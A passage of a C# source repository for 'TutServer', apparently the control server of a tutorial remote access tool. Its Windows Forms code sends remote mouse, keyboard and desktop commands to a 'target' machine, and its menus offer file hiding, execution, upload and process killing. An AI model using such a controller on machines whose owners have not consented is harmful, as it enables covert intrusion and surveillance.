2150 | private System.Windows.Forms.Label label1;
2151 | private System.Windows.Forms.TabPage tabPage2;
2152 | private System.Windows.Forms.Button button6;
2153 | private System.Windows.Forms.Label label12;
2154 | private System.Windows.Forms.RichTextBox richTextBox1;
2155 | private System.Windows.Forms.Label label11;
2156 | private System.Windows.Forms.Button button5;
2157 | private System.Windows.Forms.ComboBox comboBox3;
2158 | private System.Windows.Forms.Label label10;
2159 | private System.Windows.Forms.Button button4;
2160 | private System.Windows.Forms.Button button3;
2161 | private System.Windows.Forms.TextBox textBox3;
2162 | private System.Windows.Forms.Label label9;
2163 | private System.Windows.Forms.Label label8;
2164 | private System.Windows.Forms.Label label7;
2165 | private System.Windows.Forms.Label label6;
2166 | private System.Windows.Forms.Label label5;
2167 | private System.Windows.Forms.Label label4;
2168 | private System.Windows.Forms.ComboBox comboBox2;
2169 | private System.Windows.Forms.ComboBox comboBox1;
2170 | private System.Windows.Forms.TextBox textBox2;
2171 | private System.Windows.Forms.TextBox textBox1;
2172 | private System.Windows.Forms.Label label3;
2173 | private System.Windows.Forms.TabPage tabPage3;
2174 | private System.Windows.Forms.Button button13;
2175 | private System.Windows.Forms.Button button12;
2176 | private System.Windows.Forms.Label label14;
2177 | private System.Windows.Forms.Button button11;
2178 | private System.Windows.Forms.Button button10;
2179 | private System.Windows.Forms.Button button9;
2180 | private System.Windows.Forms.Button button8;
2181 | private System.Windows.Forms.Button button7;
2182 | private System.Windows.Forms.Label label13;
2183 | private System.Windows.Forms.TabPage tabPage4;
2184 | private System.Windows.Forms.Button button14;
2185 | private System.Windows.Forms.ComboBox comboBox4;
2186 | private System.Windows.Forms.TextBox textBox4;
2187 | private System.Windows.Forms.Label label17;
2188 | private System.Windows.Forms.Label label16;
2189 | private System.Windows.Forms.Label label15;
2190 | private System.Windows.Forms.ListView listView2;
2191 | private System.Windows.Forms.ColumnHeader columnHeader6;
2192 | private System.Windows.Forms.ColumnHeader columnHeader7;
2193 | private System.Windows.Forms.ColumnHeader columnHeader8;
2194 | private System.Windows.Forms.ColumnHeader columnHeader9;
2195 | private System.Windows.Forms.ColumnHeader columnHeader10;
2196 | private System.Windows.Forms.ColumnHeader columnHeader11;
2197 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
2198 | private System.Windows.Forms.ToolStripMenuItem killToolStripMenuItem;
2199 | private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem1;
2200 | private System.Windows.Forms.TabPage tabPage5;
2201 | private System.Windows.Forms.TextBox textBox5;
2202 | private System.Windows.Forms.RichTextBox richTextBox2;
2203 | private System.Windows.Forms.Button button15;
2204 | private System.Windows.Forms.TabPage tabPage6;
2205 | private System.Windows.Forms.ListView listView3;
2206 | private System.Windows.Forms.ColumnHeader columnHeader12;
2207 | private System.Windows.Forms.ColumnHeader columnHeader13;
2208 | private System.Windows.Forms.ColumnHeader columnHeader14;
2209 | private System.Windows.Forms.ColumnHeader columnHeader15;
2210 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip3;
2211 | private System.Windows.Forms.ToolStripMenuItem listDrivesToolStripMenuItem;
2212 | private System.Windows.Forms.ToolStripMenuItem enterDirectoryToolStripMenuItem;
2213 | private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1;
2214 | private System.Windows.Forms.ToolStripMenuItem moveToolStripMenuItem;
2215 | private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
2216 | private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
2217 | private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
2218 | private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem;
2219 | private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
2220 | private System.Windows.Forms.ToolStripMenuItem editToolStripMenuItem;
2221 | private System.Windows.Forms.ToolStripMenuItem attributesToolStripMenuItem;
2222 | private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem;
2223 | private System.Windows.Forms.ToolStripMenuItem showToolStripMenuItem;
2224 | private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
2225 | private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
2226 | private System.Windows.Forms.ToolStripMenuItem newToolStripMenuItem;
2227 | private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
2228 | private System.Windows.Forms.ToolStripMenuItem directoryToolStripMenuItem;
2229 | private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem;
2230 | private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem;
2231 | private System.Windows.Forms.ToolStripMenuItem currentDirectoryToolStripMenuItem1;
2232 | private System.Windows.Forms.ToolStripMenuItem selectedDirectoryToolStripMenuItem1;
2233 | private System.Windows.Forms.TabPage tabPage7;
2234 | private System.Windows.Forms.Button button19;
2235 | private System.Windows.Forms.Button button18;
2236 | private System.Windows.Forms.Button button17;
2237 | private System.Windows.Forms.Button button16;
2238 | private System.Windows.Forms.RichTextBox richTextBox3;
2239 | private System.Windows.Forms.TabPage tabPage8;
2240 | private System.Windows.Forms.Button btnFullScreenMode;
2241 | public System.Windows.Forms.CheckBox checkBoxrKeyboard;
2242 | public System.Windows.Forms.CheckBox checkBoxrMouse;
2243 | private System.Windows.Forms.Button button22;
2244 | private System.Windows.Forms.Button button21;
2245 | private System.Windows.Forms.PictureBox pictureBox1;
2246 | private System.Windows.Forms.TabPage tabPage9;
2247 | private System.Windows.Forms.Button button24;
2248 | private System.Windows.Forms.ListView listView4;
2249 | private System.Windows.Forms.ColumnHeader columnHeader16;
2250 | private System.Windows.Forms.ColumnHeader columnHeader17;
2251 | private System.Windows.Forms.Button button25;
2252 | private System.Windows.Forms.TabPage tabPage10;
2253 | private System.Windows.Forms.Button button27;
2254 | private System.Windows.Forms.Button button26;
2255 | private System.Windows.Forms.ListView listView5;
2256 | private System.Windows.Forms.ColumnHeader columnHeader18;
2257 | private System.Windows.Forms.ColumnHeader columnHeader19;
2258 | private System.Windows.Forms.PictureBox pictureBox2;
2259 | private System.Windows.Forms.TabPage tabPage11;
2260 | private System.Windows.Forms.GroupBox groupBox1;
2261 | private System.Windows.Forms.Label label21;
2262 | private System.Windows.Forms.Label label20;
2263 | private System.Windows.Forms.Label label19;
2264 | private System.Windows.Forms.Label label18;
2265 | private System.Windows.Forms.Button button30;
2266 | private System.Windows.Forms.Button button29;
2267 | private System.Windows.Forms.Button button28;
2268 | private System.Windows.Forms.GroupBox groupBox2;
2269 | private System.Windows.Forms.CheckBox checkBox3;
2270 | private System.Windows.Forms.Label label25;
2271 | private System.Windows.Forms.Label label26;
2272 | private System.Windows.Forms.Label label22;
2273 | private System.Windows.Forms.NumericUpDown numericUpDown2;
2274 | private System.Windows.Forms.ComboBox comboBox5;
2275 | private System.Windows.Forms.NumericUpDown numericUpDown1;
2276 | private System.Windows.Forms.TextBox textBox6;
2277 | private System.Windows.Forms.NumericUpDown numericUpDown4;
2278 | private System.Windows.Forms.NumericUpDown numericUpDown3;
2279 | private System.Windows.Forms.TabPage tabPage12;
2280 | private System.Windows.Forms.Button button32;
2281 | private System.Windows.Forms.Button button31;
2282 | private System.Windows.Forms.Label label23;
2283 | private System.Windows.Forms.ListView listView6;
2284 | private System.Windows.Forms.ColumnHeader columnHeader20;
2285 | private System.Windows.Forms.ColumnHeader columnHeader21;
2286 | private System.Windows.Forms.ColumnHeader columnHeader22;
2287 | private System.Windows.Forms.Label label24;
2288 | private System.Windows.Forms.TabPage tabPage13;
2289 | private System.Windows.Forms.Button button33;
2290 | private System.Windows.Forms.Label label27;
2291 | private System.Windows.Forms.TabPage tabPage14;
2292 | private System.Windows.Forms.Button button34;
2293 | private System.Windows.Forms.Label label28;
2294 | private System.Windows.Forms.TabPage tabPage15;
2295 | private System.Windows.Forms.Button button37;
2296 | private System.Windows.Forms.Button button36;
2297 | private System.Windows.Forms.Button button35;
2298 | private System.Windows.Forms.ComboBox comboBox6;
2299 | private System.Windows.Forms.Label label33;
2300 | private System.Windows.Forms.Label label32;
2301 | private System.Windows.Forms.Label label31;
2302 | private System.Windows.Forms.Label label30;
2303 | private System.Windows.Forms.Label label29;
2304 | private System.Windows.Forms.ListBox listBox1;
2305 | private System.Windows.Forms.Button button38;
2306 | public System.Windows.Forms.Label lblQualityShow;
2307 | private System.Windows.Forms.Label lblChooseScreen;
2308 | private System.Windows.Forms.ComboBox cmboChooseScreen;
2309 | private System.Windows.Forms.Button btnCountScreens;
2310 | private System.Windows.Forms.Button btnStartTaskManager;
2311 | private System.Windows.Forms.TextBox txtBControlKeyboard;
2312 | private System.Windows.Forms.Label label34;
2313 | public System.Windows.Forms.TrackBar trackBar1;
2314 | private System.Windows.Forms.Button button23;
2315 | private System.Windows.Forms.ComboBox comboBox7;
2316 | private System.Windows.Forms.Label label35;
2317 | private System.Windows.Forms.Button button20;
2318 | private System.Windows.Forms.ProgressBar progressBar1;
2319 | private System.Windows.Forms.Label label36;
2320 | private System.Windows.Forms.Button button39;
2321 | }
2322 | }
2323 |
2324 |
--------------------------------------------------------------------------------
/TutServer/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 172, 17
122 |
123 |
124 | 327, 17
125 |
126 |
--------------------------------------------------------------------------------
/TutServer/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Threading.Tasks;
5 | using System.Windows.Forms;
6 |
7 | namespace TutServer
8 | {
9 | static class Program
10 | {
11 | ///
12 | /// The main entry point for the application.
13 | ///
14 | [STAThread]
15 | static void Main()
16 | {
17 | Application.EnableVisualStyles();
18 | Application.SetCompatibleTextRenderingDefault(false);
19 | Application.Run(new Form1());
20 | }
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/TutServer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("TutServer")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("TutServer")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("8dc7d5f0-adf5-49f0-a539-d96e1e934067")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/TutServer/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.18444
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace TutServer.Properties
12 | {
13 |
14 |
15 | ///
16 | /// A strongly-typed resource class, for looking up localized strings, etc.
17 | ///
18 | // This class was auto-generated by the StronglyTypedResourceBuilder
19 | // class via a tool like ResGen or Visual Studio.
20 | // To add or remove a member, edit your .ResX file then rerun ResGen
21 | // with the /str option, or rebuild your VS project.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Returns the cached ResourceManager instance used by this class.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("TutServer.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Overrides the current thread's CurrentUICulture property for all
56 | /// resource lookups using this strongly typed resource class.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/TutServer/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/TutServer/Properties/Settings.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.18444
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace TutServer.Properties
12 | {
13 |
14 |
15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
18 | {
19 |
20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
21 |
22 | public static Settings Default
23 | {
24 | get
25 | {
26 | return defaultInstance;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/TutServer/Properties/Settings.settings:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/TutServer/RDesktop.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace TutServer
2 | {
3 | partial class RDesktop
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | this.pictureBox1 = new System.Windows.Forms.PictureBox();
33 | this.closeWindowToolStripMenuItem1 = new System.Windows.Forms.ContextMenuStrip(this.components);
34 | this.closeWindowToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
35 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
36 | this.closeWindowToolStripMenuItem1.SuspendLayout();
37 | this.SuspendLayout();
38 | //
39 | // pictureBox1
40 | //
41 | this.pictureBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
42 | this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
43 | this.pictureBox1.Location = new System.Drawing.Point(0, 0);
44 | this.pictureBox1.Name = "pictureBox1";
45 | this.pictureBox1.Size = new System.Drawing.Size(284, 262);
46 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
47 | this.pictureBox1.TabIndex = 0;
48 | this.pictureBox1.TabStop = false;
49 | this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown);
50 | this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
51 | this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp);
52 | //
53 | // closeWindowToolStripMenuItem1
54 | //
55 | this.closeWindowToolStripMenuItem1.BackColor = System.Drawing.Color.Red;
56 | this.closeWindowToolStripMenuItem1.Font = new System.Drawing.Font("Segoe UI", 20.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
57 | this.closeWindowToolStripMenuItem1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
58 | this.closeWindowToolStripMenuItem});
59 | this.closeWindowToolStripMenuItem1.Name = "contextMenuStrip1";
60 | this.closeWindowToolStripMenuItem1.Size = new System.Drawing.Size(278, 46);
61 | //
62 | // closeWindowToolStripMenuItem
63 | //
64 | this.closeWindowToolStripMenuItem.Name = "closeWindowToolStripMenuItem";
65 | this.closeWindowToolStripMenuItem.Size = new System.Drawing.Size(277, 42);
66 | this.closeWindowToolStripMenuItem.Text = "Close Window";
67 | this.closeWindowToolStripMenuItem.Click += new System.EventHandler(this.closeWindowToolStripMenuItem_Click);
68 | //
69 | // RDesktop
70 | //
71 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
72 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
73 | this.ClientSize = new System.Drawing.Size(284, 262);
74 | this.Controls.Add(this.pictureBox1);
75 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
76 | this.Name = "RDesktop";
77 | this.Text = "RDesktop FullScreen";
78 | this.WindowState = System.Windows.Forms.FormWindowState.Maximized;
79 | this.Shown += new System.EventHandler(this.RDesktop_Shown);
80 | this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.RDesktop_KeyDown);
81 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
82 | this.closeWindowToolStripMenuItem1.ResumeLayout(false);
83 | this.ResumeLayout(false);
84 |
85 | }
86 |
87 | #endregion
88 |
89 | private System.Windows.Forms.PictureBox pictureBox1;
90 | private System.Windows.Forms.ContextMenuStrip closeWindowToolStripMenuItem1;
91 | private System.Windows.Forms.ToolStripMenuItem closeWindowToolStripMenuItem;
92 | }
93 | }
--------------------------------------------------------------------------------
/TutServer/RDesktop.cs:
--------------------------------------------------------------------------------
1 | using System; //Fo basic system functions
2 | using System.Drawing; //For form graphics
3 | using System.Threading.Tasks; //For Tasks (they are similar to threads)
4 | using System.Windows.Forms; //For form intercation and controls
5 |
6 | #pragma warning disable IDE1006
7 |
8 | namespace TutServer //The application namespace
9 | {
10 | ///
11 | /// The main form for handling full screen remote desktop control
12 | ///
13 | public partial class RDesktop : Form
14 | {
15 | #region Global Variables
16 |
17 | ///
18 | /// Main Form reference
19 | ///
20 | Form parent = Application.OpenForms["Form1"];
21 | ///
22 | /// The frame sent by the client
23 | ///
24 | public Bitmap image;
25 | ///
26 | /// FPS Update rate
27 | ///
28 | private int FPS = 80;
29 | ///
30 | /// Mouse movement flag
31 | ///
32 | private bool mouseMovement = true;
33 |
34 | #endregion
35 |
36 | #region Form and Remote Desktop Functions
37 |
38 | ///
39 | /// Create a new full screen remote desktop controller
40 | ///
41 | public RDesktop()
42 | {
43 | InitializeComponent(); //Init the controls
44 |
45 | ScreenFPS(); //Set the FPS rate
46 |
47 | MessageBox.Show("Press the (Esc) Key to Exit this Function " , "Information" ,MessageBoxButtons.OK ,MessageBoxIcon.Information); //Notify the user
48 | }
49 |
50 | ///
51 | /// Handles remote mouse button clicks
52 | ///
53 | /// The sender of the event
54 | /// The event args
55 | private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
56 | {
57 | if (Form1.rmouse == 1) //If remote mouse is enabled
58 | {
59 | if (e.Button == MouseButtons.Left) //If left button is clicked
60 | {
61 |
62 | ((Form1)parent).SendToTarget("rclick-left-down"); //Send command to client
63 | }
64 | else //Right button is clicked
65 | {
66 | ((Form1)parent).SendToTarget("rclick-right-down"); //Send command to client
67 | }
68 | }
69 | }
70 |
71 | ///
72 | /// Handles remote mouse button clicks
73 | ///
74 | /// The sender of the event
75 | /// The event args
76 | private void pictureBox1_MouseUp(object sender, MouseEventArgs e)
77 | {
78 | if (Form1.rmouse == 1) //If remote mouse control is enabled
79 | {
80 | if (e.Button == MouseButtons.Left) //The left button is pressed
81 | {
82 | ((Form1)parent).SendToTarget("rclick-left-up"); //Send command to client
83 | }
84 | else //Right button is pressed
85 | {
86 | ((Form1)parent).SendToTarget("rclick-right-up"); //Send command to client
87 | }
88 | }
89 | }
90 |
91 | ///
92 | /// Handles remote mouse movement
93 | ///
94 | /// The sender of the event
95 | /// The event args
96 | private async void pictureBox1_MouseMove(object sender, MouseEventArgs e)
97 | {
98 | if (mouseMovement == true) //if mouse movement is enabled
99 | {
100 | Rectangle scr = Screen.PrimaryScreen.WorkingArea; //Get the screen size
101 |
102 | if (Form1.IsRdFull) //If we are in full screen mode
103 | {
104 | scr = pictureBox1.DisplayRectangle; //Get the size of the pictureBox
105 | }
106 |
107 | try //Try
108 | {
109 | int mx = (e.X * Form1.resx) / scr.Width; //Calculate the remote mouse position X
110 | int my = (e.Y * Form1.resy) / scr.Height; //Calcualte the remote mouse position Y
111 |
112 | if (Form1.rmouse == 1) //If remoute mouse if enabled
113 | {
114 | if (Form1.plx != e.X || Form1.ply != e.Y) //The mouse moved after the last move
115 | {
116 | ((Form1)parent).SendToTarget("rmove-" + mx + ":" + my); //Send command to client
117 | Form1.plx = e.X; //Store last X position
118 | Form1.ply = e.Y; //Store last Y position
119 |
120 | mouseMovement = false; //Disable mouse movement
121 | }
122 | //Wait for 200 ms
123 | await Task.Delay(200); //this should stop the spammings of send commands -move the coursor very slowly and it will lockup so i added this
124 | //Re enable mouse movements
125 | mouseMovement = true; //and this switch ,cant send again for 200 ms - it works perfectly i am happy with it :-)
126 | }
127 | }
128 | catch (Exception) //Something went wrong
129 | {
130 | //Do nothing
131 | }
132 | }
133 | }
134 |
135 | ///
136 | /// Handles remote kexboard
137 | ///
138 | /// The sender of the event
139 | /// The event args
140 | private void RDesktop_KeyDown(object sender, KeyEventArgs e)
141 | {
142 | if (e.KeyCode == Keys.Escape) //If escape is pressed
143 | {
144 | closeWindowToolStripMenuItem1.Show(); //Open this CMS
145 | }
146 |
147 | if (Form1.rkeyboard == 1) //If remote keyboard is enabled
148 | {
149 | string keysToSend = ""; //Declare the keys to send
150 |
151 | //Append the modifier keys
152 | if (e.Shift)
153 | keysToSend += "+";
154 | if (e.Alt)
155 | keysToSend += "%";
156 | if (e.Control)
157 | keysToSend += "^";
158 |
159 | if (Console.CapsLock == true) //Caps Lock enabled
160 | {
161 | if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in this range
162 | {
163 | keysToSend += e.KeyCode.ToString().ToLower(); //Send the key in lowercase
164 | }
165 | }
166 |
167 | if (Console.CapsLock == false) //If Caps Lock is disabled
168 | {
169 | if (e.KeyValue >= 65 && e.KeyValue <= 90) //If key falls in range
170 | {
171 | keysToSend += e.KeyCode.ToString().ToUpper(); //Send the key in upper case
172 | }
173 |
174 | }
175 |
176 | //Handle special keys
177 |
178 | if (e.KeyCode.ToString().Equals("Back"))
179 | keysToSend += "{BS}";
180 | else if (e.KeyCode.ToString().Equals("Pause"))
181 | keysToSend += "{BREAK}";
182 | else if (e.KeyCode.ToString().Equals("Capital"))
183 | keysToSend += "{CAPSLOCK}";
184 | else if (e.KeyCode.ToString().Equals("Space"))
185 | keysToSend += " ";
186 | else if (e.KeyCode.ToString().Equals("Home"))
187 | keysToSend += "{HOME}";
188 | else if (e.KeyCode.ToString().Equals("Return"))
189 | keysToSend += "{ENTER}";
190 | else if (e.KeyCode.ToString().Equals("End"))
191 | keysToSend += "{END}";
192 | else if (e.KeyCode.ToString().Equals("Tab"))
193 | keysToSend += "{TAB}";
194 | else if (e.KeyCode.ToString().Equals("Escape"))
195 | keysToSend += "{ESC}";
196 | else if (e.KeyCode.ToString().Equals("Insert"))
197 | keysToSend += "{INS}";
198 | else if (e.KeyCode.ToString().Equals("Up"))
199 | keysToSend += "{UP}";
200 | else if (e.KeyCode.ToString().Equals("Down"))
201 | keysToSend += "{DOWN}";
202 | else if (e.KeyCode.ToString().Equals("Left"))
203 | keysToSend += "{LEFT}";
204 | else if (e.KeyCode.ToString().Equals("Right"))
205 | keysToSend += "{RIGHT}";
206 | else if (e.KeyCode.ToString().Equals("PageUp"))
207 | keysToSend += "{PGUP}";
208 | else if (e.KeyCode.ToString().Equals("Next"))
209 | keysToSend += "{PGDN}";
210 | else if (e.KeyCode.ToString().Equals("Tab"))
211 | keysToSend += "{TAB}";
212 | else if (e.KeyCode.ToString().Equals("D1"))
213 | keysToSend += "1";
214 | else if (e.KeyCode.ToString().Equals("D2"))
215 | keysToSend += "2";
216 | else if (e.KeyCode.ToString().Equals("D3"))
217 | keysToSend += "3";
218 | else if (e.KeyCode.ToString().Equals("D4"))
219 | keysToSend += "4";
220 | else if (e.KeyCode.ToString().Equals("D5"))
221 | keysToSend += "5";
222 | else if (e.KeyCode.ToString().Equals("D6"))
223 | keysToSend += "6";
224 | else if (e.KeyCode.ToString().Equals("D7"))
225 | keysToSend += "7";
226 | else if (e.KeyCode.ToString().Equals("D8"))
227 | keysToSend += "8";
228 | else if (e.KeyCode.ToString().Equals("D9"))
229 | keysToSend += "9";
230 | else if (e.KeyCode.ToString().Equals("D0"))
231 | keysToSend += "0";
232 | else if (e.KeyCode.ToString().Equals("F1"))
233 | keysToSend += "{F1}";
234 | else if (e.KeyCode.ToString().Equals("F2"))
235 | keysToSend += "{F2}";
236 | else if (e.KeyCode.ToString().Equals("F3"))
237 | keysToSend += "{F3}";
238 | else if (e.KeyCode.ToString().Equals("F4"))
239 | keysToSend += "{F4}";
240 | else if (e.KeyCode.ToString().Equals("F5"))
241 | keysToSend += "{F5}";
242 | else if (e.KeyCode.ToString().Equals("F6"))
243 | keysToSend += "{F6}";
244 | else if (e.KeyCode.ToString().Equals("F7"))
245 | keysToSend += "{F7}";
246 | else if (e.KeyCode.ToString().Equals("F8"))
247 | keysToSend += "{F8}";
248 | else if (e.KeyCode.ToString().Equals("F9"))
249 | keysToSend += "{F9}";
250 | else if (e.KeyCode.ToString().Equals("F10"))
251 | keysToSend += "{F10}";
252 | else if (e.KeyCode.ToString().Equals("F11"))
253 | keysToSend += "{F11}";
254 | else if (e.KeyCode.ToString().Equals("F12"))
255 | keysToSend += "{F12}";
256 | else if (e.KeyValue == 186)
257 | keysToSend += "{;}";
258 | else if (e.KeyValue == 222)
259 | keysToSend += "'";
260 | else if (e.KeyValue == 191)
261 | keysToSend += "/";
262 | else if (e.KeyValue == 190)
263 | keysToSend += ".";
264 | else if (e.KeyValue == 188)
265 | keysToSend += ",";
266 | else if (e.KeyValue == 219)
267 | keysToSend += "{[}";
268 | else if (e.KeyValue == 221)
269 | keysToSend += "{]}";
270 | else if (e.KeyValue == 220)
271 | keysToSend += "\\";
272 | else if (e.KeyValue == 187)
273 | keysToSend += "{=}";
274 | else if (e.KeyValue == 189)
275 | keysToSend += "{-}";
276 | else if (e.KeyValue == 233)
277 | keysToSend += "é";
278 | else if (e.KeyValue == 225)
279 | keysToSend += "á";
280 | else if (e.KeyValue == 369)
281 | keysToSend += "ű";
282 | else if (e.KeyValue == 337)
283 | keysToSend += "ő";
284 | else if (e.KeyValue == 250)
285 | keysToSend += "ú";
286 | else if (e.KeyValue == 246)
287 | keysToSend += "ö";
288 | else if (e.KeyValue == 252)
289 | keysToSend += "ü";
290 | else if (e.KeyValue == 243)
291 | keysToSend += "ó";
292 |
